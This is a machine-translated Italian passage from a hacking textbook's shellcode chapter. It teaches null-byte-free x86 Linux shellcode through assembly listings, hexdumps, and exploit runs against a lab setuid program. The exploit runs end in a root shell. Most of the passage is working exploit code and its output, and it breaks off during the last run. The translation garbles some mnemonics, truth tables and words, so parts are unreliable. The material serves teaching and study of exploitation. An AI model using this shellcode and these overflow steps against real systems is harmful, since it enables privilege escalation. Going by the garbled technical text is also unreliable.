binario eseguibile e formato di collegamento (ELF), quindi viene visualizzata la riga _start globale
il linker dove iniziano le istruzioni di assemblaggio.
L' assemblatore nasm con l' argomento -f elf assemblerà il file
helloworld.asm in un file oggetto pronto per essere collegato come binario ELF.
Per impostazione predefinita, questo file oggetto sarà chiamato helloworld.o. Il programma linker
ld produrrà un binario eseguibile a.out dall'oggetto assemblato.

reader @ hacking: ~ / booksrc $ nasm -f elf helloworld.asm


lettore @ hacking: ~ / booksrc $ ld helloworld.o
lettore @ hacking: ~ / booksrc $ ./a.out
Ciao mondo!
lettore @ hacking: ~ / booksrc $

Questo minuscolo programma funziona, ma non è uno shellcode, poiché non è autonomo
e deve essere collegato.

0x520 Il percorso per Shellcode


Shellcode viene letteralmente iniettato in un programma in esecuzione, dove prende il sopravvento come
un virus biologico all'interno di una cellula. Poiché lo shellcode non è realmente un programma eseguibile
grammo, non possiamo permetterci il lusso di dichiarare il layout dei dati in memoria o
anche utilizzando altri segmenti di memoria. Le nostre istruzioni devono essere autonome
e pronto a prendere il controllo del processore indipendentemente dal suo stato attuale.
Questo è comunemente indicato come codice indipendente dalla posizione.

286 0x500

Pagina 301
In shellcode, i byte per la stringa "Hello, world!" deve essere miscelato
insieme ai byte per le istruzioni di montaggio, poiché non ci sono
segmenti di memoria definibili o prevedibili. Questo va bene finché EIP non lo fa
prova a interpretare la stringa come istruzioni. Tuttavia, per accedere alla stringa come dati
abbiamo bisogno di un puntatore ad esso. Quando lo shellcode viene eseguito, potrebbe essere qualsiasi-
dove in memoria. L'indirizzo di memoria assoluto della stringa deve essere calcolato
lated rispetto a EIP. Poiché non è possibile accedere a EIP dalle istruzioni di montaggio,
tuttavia, dobbiamo usare una sorta di trucco.

0x521 Istruzioni di assemblaggio utilizzando lo stack


Lo stack è così parte integrante dell'architettura x 86 che ci sono istruzioni speciali
zioni per le sue operazioni.

Istruzioni Descrizione

push <source> Sposta l'operando di origine nello stack.

pop <destination> Estrae un valore dallo stack e memorizza nell'operando di destinazione.

chiama <location> Chiama una funzione, saltando l'esecuzione all'indirizzo nella posizione
operando. Questa posizione può essere relativa o assoluta. L'indirizzo del
l'istruzione che segue la chiamata viene inserita nello stack, in modo che l'esecuzione possa
tornare più tardi.

ret Ritorna da una funzione, estraendo l'indirizzo di ritorno dallo stack e


esecuzione di salto lì.

Gli exploit basati su stack sono resi possibili dalle istruzioni call e ret .
Quando viene chiamata una funzione, viene inserito l'indirizzo di ritorno dell'istruzione successiva
allo stack, iniziando dallo stack frame. Dopo che la funzione è terminata, il ret
l'istruzione estrae l'indirizzo del mittente dallo stack e riporta EIP lì.
Sovrascrivendo l'indirizzo del mittente memorizzato sullo stack prima dell'istruzione ret
possiamo prendere il controllo dell'esecuzione di un programma.
Questa architettura può essere utilizzata in modo improprio in un altro modo per risolvere il problema di
indirizzare i dati della stringa in linea. Se la stringa viene inserita direttamente dopo una chiamata
istruzione, l'indirizzo della stringa verrà inserito nello stack come ritorno
indirizzo. Invece di chiamare una funzione, possiamo saltare la stringa in un pop
istruzione che toglierà l'indirizzo dallo stack e lo inserirà in un registro. Il
le seguenti istruzioni di montaggio dimostrano questa tecnica.

helloworld1.s

BITS 32 ; Di 'a nasm che questo è un codice a 32 bit.

chiama mark_below; Chiama sotto la stringa alle istruzioni


db "Hello, world!", 0x0a, 0x0d; con newline e byte di ritorno a capo.

mark_below:
; ssize_t write (int fd, const void * buf, size_t count);
pop ecx ; Inserisci l'indirizzo del mittente (stringa ptr) in ecx.
mov eax, 4 ; Scrivi syscall #.
mov ebx, 1 ; Descrittore di file STDOUT

Shellcode 287

Pagina 302

mov edx, 15; Lunghezza della stringa


int 0x80 ; Esegui syscall: scrivi (1, stringa, 14)

; void _exit (int status);


mov eax, 1 ; Esci da syscall #
mov ebx, 0 ; Stato = 0
int 0x80 ; Esegui syscall: exit (0)

L'istruzione call salta l'esecuzione al di sotto della stringa. Anche questo


inserisce l'indirizzo dell'istruzione successiva nello stack, l'istruzione successiva
nel nostro caso è l'inizio della stringa. L'indirizzo di ritorno può imme-
essere immediatamente inserito dalla pila nel registro appropriato. Senza usare
eventuali segmenti di memoria, queste istruzioni grezze, iniettate in un processo esistente,
verrà eseguito in modo completamente indipendente dalla posizione. Ciò significa che, quando
queste istruzioni sono assemblate, non possono essere collegate in un eseguibile.

lettore @ hacking: ~ / booksrc $ nasm helloworld1.s


lettore @ hacking: ~ / booksrc $ ls -l helloworld1
-rw-r - r-- 1 lettore lettore 50 2007-10-26 08:30 helloworld1
lettore @ hacking: ~ / booksrc $ hexdump -C helloworld1
00000000 e8 0f 00 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c | ..... Hello, worl |
00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba | d! .. Y ........... |
00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 | ................ |
00000030 cd 80 | .. |
00000032
lettore @ hacking: ~ / booksrc $ ndisasm -b32 helloworld1
00000000 E80F000000 chiama 0x14
00000005 48 dec eax
00000006 656C gs insb
00000008 6C insb
00000009 6F outsd
0000000A 2C20 sub al, 0x20
0000000C 776F ja 0x7d
0000000E 726C jc 0x7c
00000010 64210A e [fs: edx], ecx
00000013 0D59B80400 o eax, 0x4b859
00000018 0000 aggiungi [eax], al
0000001A BB01000000 mov ebx, 0x1
0000001F BA0F000000 mov edx, 0xf
00000024 CD80 int 0x80
00000026 B801000000 mov eax, 0x1
0000002B BB00000000 mov ebx, 0x0
00000030 CD80 int 0x80
lettore @ hacking: ~ / booksrc $

L' assembler nasm converte il linguaggio assembly in codice macchina e


uno strumento corrispondente chiamato ndisasm converte il codice macchina in assembly.
Questi strumenti sono usati sopra per mostrare la relazione tra la macchina
byte di codice e le istruzioni di montaggio. Le istruzioni di smontaggio contrassegnate
in grassetto sono i byte di "Hello, world!" stringa interpretata come istruzioni.
Ora, se possiamo iniettare questo codice shell in un programma e reindirizzare EIP, il file
il programma stamperà Hello, world! Usiamo il noto exploit target di
programma di ricerca note.

288 0x500
Pagina 303

lettore @ hacking: ~ / booksrc $ export SHELLCODE = $ (cat helloworld1)


lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./notesearch
SHELLCODE sarà a 0xbffff9c6
lettore @ hacking: ~ / booksrc $ ./notesearch $ (perl -e 'print "\ xc6 \ xf9 \ xff \ xbf" x40')
------- [dati di fine nota] -------
Errore di segmentazione
lettore @ hacking: ~ / booksrc $

Fallimento. Perché pensi che si sia schiantato? In situazioni come questa, GDB è il tuo
migliore amico. Anche se conosci già il motivo di questo incidente specifico,
imparare a usare efficacemente un debugger ti aiuterà a risolverne molti altri
problemi in futuro.

0x522 Indagare con GDB


Poiché il programma notesearch viene eseguito come root, non è possibile eseguirne il debug normalmente
utente. Tuttavia, non possiamo nemmeno collegarci a una copia in esecuzione di esso, perché
esce troppo velocemente. Un altro modo per eseguire il debug dei programmi è con i core dump. Da un
prompt di root, è possibile indicare al sistema operativo di eseguire il dump della memoria quando il programma va in crash
utilizzando il comando ulimit -c unlimited . Ciò significa che il core scaricato
i file possono diventare grandi quanto necessario. Ora, quando il programma va in crash,
la memoria verrà scaricata su disco come file core, che può essere esaminato
utilizzando GDB.

lettore @ hacking: ~ / booksrc $ sudo su


root @ hacking: / home / reader / booksrc # ulimit -c unlimited
root @ hacking: / home / reader / booksrc # export SHELLCODE = $ (cat helloworld1)
root @ hacking: / home / reader / booksrc # ./getenvaddr SHELLCODE ./notesearch
SHELLCODE sarà a 0xbffff9a3
root @ hacking: / home / reader / booksrc # ./notesearch $ (perl -e 'print "\ xa3 \ xf9 \
xff \ xbf "x40 ')
------- [dati di fine nota] -------
Errore di segmentazione (core dump)
root @ hacking: / home / reader / booksrc # ls -l ./core
-rw ------- 1 radice radice 147456 2007-10-26 08:36 ./core
root @ hacking: / home / reader / booksrc # gdb -q -c ./core
(nessun simbolo di debug trovato)
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
Core è stato generato da `./notesearch
£ ° E¿ £ ° E¿ £ ° E¿ £ ° E¿ £ ° E¿ £ ° E¿ £ ° E¿ £ ° E¿ £ ° E¿ £ ° E¿ £ ° E¿ £ ° E¿ £ ° E¿ £ ° E¿ £ ° E¿ £ ° E¿ £ ° E.
Programma terminato con segnale 11, errore di segmentazione.
# 0 0x2c6541b7 in ?? ()
(gdb) set dis intel
(gdb) x / 5i 0xbffff9a3
0xbffff9a3: chiama 0x2c6541b7
0xbffff9a8: ins BYTE PTR es: [edi], [dx]
0xbffff9a9: out [dx], DWORD PTR ds: [esi]
0xbffff9aa: sub al, 0x20
0xbffff9ac: ja 0xbffffa1d
(gdb) ir eip
eip 0x2c6541b7 0x2c6541b7
(gdb) x / 32xb 0xbffff9a3

Shellcode 289

Pagina 304

0xbffff9a3: 0xe8 0x0f 0x48 0x65 0x6c 0x6c 0x6f 0x2c


0xbffff9ab: 0x20 0x77 0x6f 0x72 0x6c 0x64 0x21 0x0a
0xbffff9b3: 0x0d 0x59 0xb8 0x04 0xbb 0x01 0xba 0x0f
0xbffff9bb: 0xcd 0x80 0xb8 0x01 0xbb 0xcd 0x80 0x00
(gdb) esci
root @ hacking: / home / reader / booksrc # hexdump -C helloworld1
00000000 e8 0f 00 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c | ..... Hello, worl |
00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba | d! .. Y ........... |
00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 | ................ |
00000030 cd 80 | .. |
00000032
root @ hacking: / home / reader / booksrc #

Una volta caricato GDB, lo stile di disassemblaggio passa a Intel. Da quando noi
stanno eseguendo GDB come root, il file .gdbinit non verrà utilizzato. La memoria dove
lo shellcode dovrebbe essere esaminato. Le istruzioni sembrano errate, ma è così
sembra che la prima istruzione di chiamata errata sia ciò che ha causato il crash. Almeno,
l'esecuzione è stata reindirizzata, ma qualcosa è andato storto con i byte dello shellcode.
Normalmente, le stringhe sono terminate da un byte nullo, ma qui la shell è stata gentile
abbastanza per rimuovere questi byte nulli per noi. Questo, tuttavia, distrugge totalmente il file
significato del codice macchina. Spesso, lo shellcode viene iniettato in un processo
come una stringa, utilizzando funzioni come strcpy () . Tali funzioni verranno semplicemente terminate
al primo byte nullo, producendo uno shellcode incompleto e inutilizzabile in mem-
ory. Affinché lo shellcode sopravviva al transito, deve essere riprogettato in questo modo
non contiene byte nulli.

0x523 Rimozione di byte nulli


Guardando lo smontaggio, è ovvio che i primi byte nulli provengano da
l' istruzione di chiamata .

lettore @ hacking: ~ / booksrc $ ndisasm -b32 helloworld1


00000000 E80F 000000 chiama 0x14
00000005 48 dec eax
00000006 656C gs insb
00000008 6C insb
00000009 6F outsd
0000000A 2C20 sub al, 0x20
0000000C 776F ja 0x7d
0000000E 726C jc 0x7c
00000010 64210A e [fs: edx], ecx
00000013 0D59B80400 o eax, 0x4b859
00000018 0000 aggiungi [eax], al
0000001A BB01000000 mov ebx, 0x1
0000001F BA0F000000 mov edx, 0xf
00000024 CD80 int 0x80
00000026 B801000000 mov eax, 0x1
0000002B BB00000000 mov ebx, 0x0
00000030 CD80 int 0x80
lettore @ hacking: ~ / booksrc $

Questa istruzione salta l'esecuzione in avanti di 19 ( 0x13 ) byte, in base a


primo operando. L' istruzione di chiamata consente distanze di salto molto più lunghe,

290 0x500

Pagina 305

il che significa che un valore piccolo come 19 dovrà essere riempito con interlinea
zeri risultanti in byte nulli.
Un modo per aggirare questo problema sfrutta il complemento a due. UN
un numero negativo piccolo avrà i suoi bit iniziali attivati, risultando in 0xff
byte. Ciò significa che, se chiamiamo utilizzando un valore negativo per tornare indietro
esecuzione, il codice macchina per quell'istruzione non avrà byte nulli.
La seguente revisione dello shellcode helloworld utilizza un implementatore standard-
zazione di questo trucco: salta alla fine dello shellcode a un'istruzione di chiamata che,
a sua volta, tornerà a un'istruzione pop all'inizio dello shellcode.

helloworld2.s

BITS 32 ; Di 'a nasm che questo è un codice a 32 bit.

jmp short one; Passa a una chiamata alla fine.

Due:
; ssize_t write (int fd, const void * buf, size_t count);
pop ecx ; Inserisci l'indirizzo del mittente (stringa ptr) in ecx.
mov eax, 4 ; Scrivi syscall #.
mov ebx, 1 ; Descrittore di file STDOUT
mov edx, 15; Lunghezza della stringa
int 0x80 ; Esegui syscall: scrivi (1, stringa, 14)

; void _exit (int status);


mov eax, 1 ; Esci da syscall #
mov ebx, 0 ; Stato = 0
int 0x80 ; Esegui syscall: exit (0)

uno:
chiamare due; Richiama verso l'alto per evitare byte nulli
db "Hello, world!", 0x0a, 0x0d; con newline e byte di ritorno a capo.

Dopo aver assemblato questo nuovo codice shell, il disassemblaggio mostra che la chiamata
l'istruzione (mostrata in corsivo sotto) è ora priva di byte nulli. Questo risolve il problema
primo e più difficile problema null-byte per questo shellcode, ma ci sono ancora
molti altri byte nulli (mostrati in grassetto).

lettore @ hacking: ~ / booksrc $ nasm helloworld2.s


lettore @ hacking: ~ / booksrc $ ndisasm -b32 helloworld2
00000000 EB1E jmp breve 0x20
00000002 59 pop ecx
00000003 B804 000000 mov eax, 0x4
00000008 BB01 000000 mov ebx, 0x1
0000000D BA0F 000000 mov edx, 0xf
00000012 CD80 int 0x80
00000014 B801 000000 mov eax, 0x1
00000019 BB 00000000 mov ebx, 0x0
0000001E CD80 int 0x80
00000020 E8DDFFFFFF chiama 0x2
00000025 48 dec eax
00000026 656C gs insb
00000028 6C insb

Shellcode 291

Pagina 306

00000029 6F outsd
0000002A 2C20 sub al, 0x20
0000002C 776F ja 0x9d
0000002E 726C jc 0x9c
00000030 64210A e [fs: edx], ecx
00000033 0D db 0x0D
lettore @ hacking: ~ / booksrc $

Questi byte nulli rimanenti possono essere eliminati con una comprensione di
larghezze di registro e indirizzamento. Si noti che la prima istruzione jmp è effettivamente
jmp short . Ciò significa che l'esecuzione può saltare solo un massimo di circa
128 byte in entrambe le direzioni. La normale istruzione jmp , così come la chiamata
istruzione (che non ha una versione breve), consente salti molto più lunghi. Il
la differenza tra il codice macchina assemblato per le due varietà di salto è
mostrato di seguito:

EB 1E jmp breve 0x20

contro
E9 1E 00 00 00 jmp 0x23

I registri EAX, EBX, ECX, EDX, ESI, EDI, EBP e ESP sono a 32 bit
in larghezza. La E sta per esteso , perché originariamente erano reg-
si chiamano AX, BX, CX, DX, SI, DI, BP e SP. Queste versioni originali a 16 bit
dei registri può ancora essere utilizzato per accedere ai primi 16 bit di ogni corrispondente
registro a 32 bit sponding. Inoltre, i singoli byte di AX, BX, CX,
e ai registri DX è possibile accedere come registri a 8 bit chiamati AL, AH, BL, BH, CL,
CH, DL e DH, dove L sta per byte basso e H per byte alto . Naturalmente,
le istruzioni di assemblaggio che utilizzano i registri più piccoli devono solo specificare gli operandi
fino alla larghezza di bit del registro. Le tre varianti di un'istruzione mov sono
mostrato sotto.

Codice macchina Assemblaggio

B8 04 00 00 00 mov eax, 0x4

66 B8 04 00 ascia mov, 0x4

B0 04 mov al, 0x4

Utilizzando il registro AL, BL, CL o DL inserirà il meno significativo corretto


byte nel registro esteso corrispondente senza creare byte nulli
nel codice macchina. Tuttavia, i primi tre byte del registro potrebbero ancora
contenere qualsiasi cosa. Ciò è particolarmente vero per lo shellcode, poiché richiederà
su un altro processo. Se vogliamo che i valori del registro a 32 bit siano corretti, dobbiamo
è necessario azzerare l'intero registro prima delle istruzioni mov , ma questo, ancora una volta,
deve essere eseguito senza utilizzare byte nulli. Ecco alcuni assemblaggi più semplici
istruzioni per il tuo arsenale. Queste prime due sono piccole istruzioni che aumentano
e decrementa il loro operando di uno.

292 0x500

Pagina 307

Istruzioni Descrizione

inc <target> Incrementa l'operando di destinazione aggiungendovi 1.

dec <target> Decrementa l'operando di destinazione sottraendo 1 da esso.

Le poche istruzioni successive, come l' istruzione mov , hanno due operandi.
Fanno tutti semplici operazioni aritmetiche e logiche bit per bit tra i due
operandi, memorizzando il risultato nel primo operando.

Istruzioni Descrizione

add <dest>, <source> Aggiunge l'operando di origine all'operando di destinazione, memorizzando il risultato
nella destinazione.

sub <dest>, <source> Sottrae l'operando di origine dall'operando di destinazione, memorizzando il file
risultato nella destinazione.

o <dest>, <source> Eseguire un'operazione bit per bit o logica, confrontando ogni bit di uno
operando con il bit corrispondente dell'altro operando.

1o0=1
1o1=1
0o1=1
0o0=0

Se il bit sorgente o il bit di destinazione è attivo, o se entrambi sono attivi, il file


il bit del risultato è acceso; in caso contrario, il risultato è disattivato. Il risultato finale viene memorizzato in
l'operando di destinazione.

e <dest>, <source> Esegue un'operazione logica e bit per bit, confrontando ogni bit di uno
operando con il bit corrispondente dell'altro operando.

1o0=0
1o1=1
0o1=0
0o0=0

Il bit di risultato è attivo solo se sia il bit di origine che il bit di destinazione
sono su. Il risultato finale viene memorizzato nell'operando di destinazione.

xor <dest>, <source> Esegue un'operazione logica esclusiva bit per bit o (xor), confrontandoli
bit di un operando con il bit corrispondente dell'altro operando.

1o0=1
1o1=0
0o1=1
0o0=0

Se i bit differiscono, il bit del risultato è attivo; se i bit sono gli stessi, il risultato
bit è spento. Il risultato finale viene memorizzato nell'operando di destinazione.

Un metodo consiste nello spostare un numero arbitrario a 32 bit nel registro e


quindi sottrai quel valore dal registro usando le istruzioni mov e sub :

B8 44 33 22 11 mov eax, 0x11223344


2D 44 33 22 11 sub eax, 0x11223344

Sebbene questa tecnica funzioni, occorrono 10 byte per azzerare un singolo registro,
rendendo lo shellcode assemblato più grande del necessario. Riesci a pensare a un modo
ottimizzare questa tecnica? Il valore DWORD specificato in ciascuna istruzione

Shellcode 293

Pagina 308

comprende l'80 percento del codice. Sottraendo qualsiasi valore a se stesso, inoltre,
duce 0 e non richiede dati statici. Questo può essere fatto con un singolo file
istruzione a due byte:
29 C0 sub eax, eax

L'uso dell'istruzione secondaria funzionerà correttamente quando si azzerano i registri in


inizio dello shellcode. Questa istruzione modificherà i flag del processore, che
sono utilizzati per la ramificazione, tuttavia. Per questo motivo, ci sono due preferiti
istruzione byte utilizzata per azzerare i registri nella maggior parte degli shellcode. Il xor istru-
esegue zione un'e x clusive o operazione sui bit in un registro. Dal momento che 1 xo ed
con 1 restituisce 0 e 0 xo ed con 0 restituisce 0, qualsiasi valore xo con se stesso
risulterà in 0. Questo è lo stesso risultato di qualsiasi valore sottratto da se stesso,
ma l' istruzione xor non modifica i flag del processore, quindi è considerata
un metodo più pulito.

31 C0 xor eax, eax

Puoi tranquillamente usare l' istruzione secondaria per azzerare i registri (se eseguita nel file
all'inizio dello shellcode), ma l' istruzione xor è più comunemente usata
in shellcode in natura. La prossima revisione dello shellcode utilizza l'estensione
registri più piccoli e l' istruzione xor per evitare byte nulli. L' inc e dec
sono state utilizzate anche istruzioni, quando possibile, per renderle ancora più piccole
shellcode.

helloworld3.s

BITS 32 ; Di 'a nasm che questo è un codice a 32 bit.

jmp short one; Passa a una chiamata alla fine.

Due:
; ssize_t write (int fd, const void * buf, size_t count);
pop ecx ; Inserisci l'indirizzo del mittente (stringa ptr) in ecx.
xor eax, eax; Azzera 32 bit completi del registro eax.
mov al, 4 ; Scrivi syscall # 4 nel byte basso di eax.
xor ebx, ebx; Azzera ebx.
inc ebx ; Incrementa ebx a 1, descrittore di file STDOUT.
xor edx, edx
mov dl, 15 ; Lunghezza della stringa
int 0x80 ; Esegui syscall: scrivi (1, stringa, 14)

; void _exit (int status);


mov al, 1 ; Esci da syscall # 1, i primi 3 byte sono ancora azzerati.
dec ebx ; Riduci ebx fino a 0 per status = 0.
int 0x80 ; Esegui syscall: exit (0)

uno:
chiamare due; Richiama verso l'alto per evitare byte nulli
db "Hello, world!", 0x0a, 0x0d; con newline e byte di ritorno a capo.

294 0x500

Pagina 309

Dopo aver assemblato questo codice shell, hexdump e grep vengono utilizzati rapidamente
controllalo per byte nulli.

lettore @ hacking: ~ / booksrc $ nasm helloworld3.s


lettore @ hacking: ~ / booksrc $ hexdump -C helloworld3 | grep --color = auto 00
00000000 eb 13 59 31 c0 b0 04 31 db 43 31 d2 b2 0f cd 80 | ..Y1 ... 1.C1 ..... |
00000010 b0 01 4b cd 80 e8 e8 ff ff ff 48 65 6c 6c 6f 2c | ..K ....... Ciao, |
00000020 20 77 6f 72 6c 64 21 0a 0d | mondo! .. |
00000029
lettore @ hacking: ~ / booksrc $

Ora questo codice shell è utilizzabile, poiché non contiene byte nulli. quando
usato con un exploit, il programma notesearch è costretto a salutare il file
mondo come un principiante.

lettore @ hacking: ~ / booksrc $ export SHELLCODE = $ (cat helloworld3)


lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./notesearch
SHELLCODE sarà a 0xbffff9bc
lettore @ hacking: ~ / booksrc $ ./notesearch $ (perl -e 'print "\ xbc \ xf9 \ xff \ xbf" x40')
[DEBUG] ha trovato una nota di 33 byte per l'ID utente 999
------- [dati di fine nota] -------
Ciao mondo!
lettore @ hacking: ~ / booksrc $

0x530 Shellcode generatore di shell


Ora che hai imparato come effettuare chiamate di sistema ed evitare byte nulli, tutto
si possono costruire tipi di shellcode. Per generare una conchiglia, dobbiamo solo creare
una chiamata di sistema per eseguire il programma della shell / bin / sh. Numero di chiamata di sistema 11,
execve () , è simile alla funzione C execute () che abbiamo usato in precedenza
capitoli.

ESEGUI (2) Manuale del programmatore Linux ESEGUI (2)

NOME
execve - esegue il programma

SINOSSI
#include <unistd.h>

int execve (const char * filename, char * const argv [],


char * const envp []);

DESCRIZIONE
execve () esegue il programma puntato da filename. Il nome del file deve essere
un eseguibile binario o uno script che inizia con una riga di
forma "#! interprete [arg]". In quest'ultimo caso, l'interprete deve
essere un percorso valido per un eseguibile che non è esso stesso uno script,
che sarà invocato come interprete [arg] nomefile.

argv è un array di stringhe di argomenti passate al nuovo programma. envp


è un array di stringhe, convenzionalmente della forma chiave = valore, che sono

Shellcode 295
Pagina 310

passato come ambiente al nuovo programma. Sia argv che envp devono essere
terminato da un puntatore nullo. Il vettore argomento e l'ambiente possono
essere accessibile dalla funzione principale del programma chiamato, quando è definita
come int main (int argc, char * argv [], char * envp []).

Il primo argomento del nome del file dovrebbe essere un puntatore alla stringa
, poiché questo è ciò che vogliamo eseguire. L'array dell'ambiente—
"/ bin / sh"
il terzo argomento — può essere vuoto, ma deve comunque essere terminato con a
Puntatore null a 32 bit. L'array di argomenti, il secondo argomento, deve essere nullo
anche terminato; deve contenere anche il puntatore a stringa (dato che lo zero
argomento è il nome del programma in esecuzione). Fatto in C, un programma
fare questa chiamata sarebbe simile a questo:

exec_shell.c

#include <unistd.h>

int main () {
char nomefile [] = "/ bin / sh \ x00";
char ** argv, ** envp; // Array che contengono puntatori a caratteri

argv [0] = nome file; // L'unico argomento è nomefile.


argv [1] = 0; // Null termina l'array di argomenti.

envp [0] = 0; // Null termina l'array dell'ambiente.

execve (nomefile, argv, envp);


}

Per fare ciò in assembly, gli array di argomenti e di ambiente devono essere
Memoria integrata. Inoltre, la stringa "/ bin / sh" deve essere terminata con
un byte nullo. Anche questo deve essere costruito nella memoria. Trattare con la memoria in
assembly è simile all'uso dei puntatori in C. L' istruzione lea , il cui nome
sta per load effect address , funziona come l' operatore address-of in C.

Istruzioni Descrizione

lea <dest>, <source> Carica l'indirizzo effettivo dell'operando di origine nella destinazione
operando.

Con la sintassi dell'assembly Intel, gli operandi possono essere dereferenziati come puntatori se
sono racchiusi tra parentesi quadre. Ad esempio, la seguente istruzione
in assembly tratterà EBX + 12 come un puntatore e scriverà eax dove sta puntando.

89 43 0C mov [ebx + 12], eax

Il seguente codice di shell usa queste nuove istruzioni per costruire il file execve ()
argomenti in memoria. L'array dell'ambiente è compresso alla fine di
l'array degli argomenti, quindi condividono lo stesso terminatore null a 32 bit.

296 0x500

Pagina 311

exec_shell.s

BITS 32

jmp short two; Salta in fondo per il trucco della chiamata.


uno:
; int execve (const char * filename, char * const argv [], char * const envp [])
pop ebx ; Ebx ha l'addr della stringa.
xor eax, eax; Metti 0 in eax.
mov [ebx + 7], al; Null termina la stringa / bin / sh.
mov [ebx + 8], ebx; Metti addr da ebx dove si trova AAAA.
mov [ebx + 12], eax; Metti il ​terminatore null a 32 bit dove si trova BBBB.
lea ecx, [ebx + 8]; Carica l'indirizzo di [ebx + 8] in ecx per argv ptr.
lea edx, [ebx + 12]; Edx = ebx + 12, che è il ptr envp.
mov al, 11 ; Syscall # 11
int 0x80 ; Fallo.

Due:
chiamane uno ; Usa una chiamata per ottenere l'indirizzo della stringa.
db '/ bin / shXAAAABBBB'; I byte XAAAABBBB non sono necessari.

Dopo aver terminato la stringa e costruito gli array, lo shellcode usa


l' istruzione lea (mostrata in grassetto sopra) per mettere un puntatore all'argomento
array nel registro ECX. Caricamento dell'indirizzo effettivo di un file tra parentesi
register aggiunto a un valore è un modo efficiente per aggiungere il valore al registro
e memorizzare il risultato in un altro registro. Nell'esempio sopra, le parentesi
dereferenziare EBX + 8 come argomento di lea , che carica quell'indirizzo in EDX.
Il caricamento dell'indirizzo di un puntatore senza riferimenti produce il puntatore originale,
quindi questa istruzione inserisce EBX + 8 in EDX. Normalmente, ciò richiederebbe sia a
mov e un'istruzione add . Una volta assemblato, questo codice shell è privo di null
byte. Genererà una shell quando viene utilizzato in un exploit.

lettore @ hacking: ~ / booksrc $ nasm exec_shell.s


lettore @ hacking: ~ / booksrc $ wc -c exec_shell
36 exec_shell
lettore @ hacking: ~ / booksrc $ hexdump -C exec_shell
00000000 eb 16 5b 31 c0 88 43 07 89 5b 08 89 43 0c 8d 4b | .. [1..C .. [.. C..K |
00000010 08 8d 53 0c b0 0b cd 80 e8 e5 ff ff ff 2f 62 69 | ..S .......... / bi |
00000020 6e 2f 73 68 | n / sh |
00000024
lettore @ hacking: ~ / booksrc $ export SHELLCODE = $ (cat exec_shell)
lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./notesearch
SHELLCODE sarà a 0xbffff9c0
lettore @ hacking: ~ / booksrc $ ./notesearch $ (perl -e 'print "\ xc0 \ xf9 \ xff \ xbf" x40')
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 5 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 35 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 9 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 33 byte per l'ID utente 999
------- [dati di fine nota] -------

Shellcode 297

Pagina 312

sh-3.2 # whoami
radice
sh-3.2 #

Questo codice shell, tuttavia, può essere ridotto a un valore inferiore a quello corrente
45 byte. Poiché lo shellcode deve essere iniettato nella memoria del programma
dove, uno shellcode più piccolo può essere utilizzato in situazioni di exploit più stretto con file
buffer utilizzabili. Più piccolo è lo shellcode, più situazioni può essere utilizzato
Ovviamente, il supporto visivo XAAAABBBB può essere ritagliato dalla fine del file
stringa, che porta lo shellcode a 36 byte.

reader @ hacking: ~ / booksrc / shellcodes $ hexdump -C exec_shell


00000000 eb 16 5b 31 c0 88 43 07 89 5b 08 89 43 0c 8d 4b | .. [1..C .. [.. C..K |
00000010 08 8d 53 0c b0 0b cd 80 e8 e5 ff ff ff 2f 62 69 | ..S .......... / bi |
00000020 6e 2f 73 68 | n / sh |
00000024
reader @ hacking: ~ / booksrc / shellcodes $ wc -c exec_shell
36 exec_shell
lettore @ hacking: ~ / booksrc / shellcodes $

Questo codice shell può essere ulteriormente ridotto riprogettandolo e utilizzando


si registra in modo più efficiente. Il registro ESP è il puntatore dello stack, che punta a
la parte superiore della pila. Quando un valore viene inserito nello stack, l'ESP viene spostato in alto
memoria (sottraendo 4) e il valore viene posizionato in cima allo stack.
Quando un valore viene estratto dallo stack, il puntatore in ESP viene spostato in basso
memoria (aggiungendo 4).
Il seguente codice di shell utilizza le istruzioni push per creare il necessario
strutture in memoria per la chiamata di sistema execve () .

tiny_shell.s

BITS 32

; execve (const char * filename, char * const argv [], char * const envp [])
xor eax, eax; Zero out eax.
spingere eax ; Spingere alcuni valori nulli per la terminazione della stringa.
push 0x68732f2f; Spingere "// sh" nello stack.
push 0x6e69622f; Spingere "/ bin" nella pila.
mov ebx, esp; Inserisci l'indirizzo di "/ bin // sh" in ebx, tramite esp.
spingere eax ; Spingere il terminatore null a 32 bit per impilare.
mov edx, esp; Questo è un array vuoto per envp.
push ebx ; Spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr.
mov al, 11 ; Syscall # 11.
int 0x80 ; Fallo.

Questo codice shell crea la stringa con terminazione null "/ bin // sh" sullo stack,
e quindi copia ESP per il puntatore. La barra rovesciata extra non ha importanza e
viene effettivamente ignorato. Lo stesso metodo viene utilizzato per creare gli array per
argomenti rimanenti. Lo shellcode risultante genera ancora una shell ma è solo
25 byte, rispetto ai 36 byte utilizzando il metodo di chiamata jmp .

298 0x500

Pagina 313

lettore @ hacking: ~ / booksrc $ nasm tiny_shell.s


lettore @ hacking: ~ / booksrc $ wc -c tiny_shell
25 tiny_shell
lettore @ hacking: ~ / booksrc $ hexdump -C tiny_shell
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 | 1.Ph//shh/bin..P |
00000010 89 e2 53 89 e1 b0 0b cd 80 | ..S ...... |
00000019
lettore @ hacking: ~ / booksrc $ export SHELLCODE = $ (cat tiny_shell)
lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./notesearch
SHELLCODE sarà a 0xbffff9cb
lettore @ hacking: ~ / booksrc $ ./notesearch $ (perl -e 'print "\ xcb \ xf9 \ xff \ xbf" x40')
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
